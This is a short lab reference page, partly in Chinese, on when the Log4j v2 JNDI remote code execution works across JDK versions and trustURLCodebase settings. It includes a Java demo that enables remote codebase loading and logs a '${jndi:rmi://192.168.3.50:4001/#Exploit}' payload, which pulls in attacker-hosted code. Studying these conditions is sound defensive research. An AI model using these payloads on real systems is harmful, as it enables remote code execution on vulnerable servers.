Print document Edit on github

Apache Log4j-v2 RCE limit

对比表

JDK log4j-core/log4j-api setProperty RCE
8u181(<8u191) 2.14.0 ⭕(RMI/LDAP) ⭕(RMI/LDAP)
8u181(<8u191) 2.14.0 ❌(RMI/LDAP) ⭕(LDAP)
8u181(<8u191) 2.14.0 ❌(RMI/LDAP) ❌(RMI)
8u332(>8u191) 2.14.0 ⭕(RMI/LDAP) ⭕(RMI)
8u332(>8u191) 2.14.0 ⭕(RMI/LDAP) ❌(LDAP)
8u332(>8u191) 2.14.0 ❌(RMI/LDAP) ❌(RMI/LDAP)

JDK

  • JDK 6u45、7u21之后:java.rmi.server.useCodebaseOnly的默认值被设置为true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前JVM的java.rmi.server.codebase指定路径加载类文件。使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。
  • JDK 6u141、7u131、8u121之后:增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA协议使用远程codebase的选项,因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。
  • JDK 6u211、7u201、8u191之后:增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。

setProperty

  • System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
  • System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");

such as:

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class log4j {
    private static Logger logger = LogManager.getLogger(log4j.class);
    public static void main(String[] args) {
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
        logger.error("${jndi:rmi://192.168.3.50:4001/#Exploit}");
    }
}

RCE

PROTOCOL RMI LDAP
- ${jndi:rmi://..} ${jndi:ldap://..}
⭕(RMI)
⭕(LDAP)
⭕(RMI/LDAP)

Ref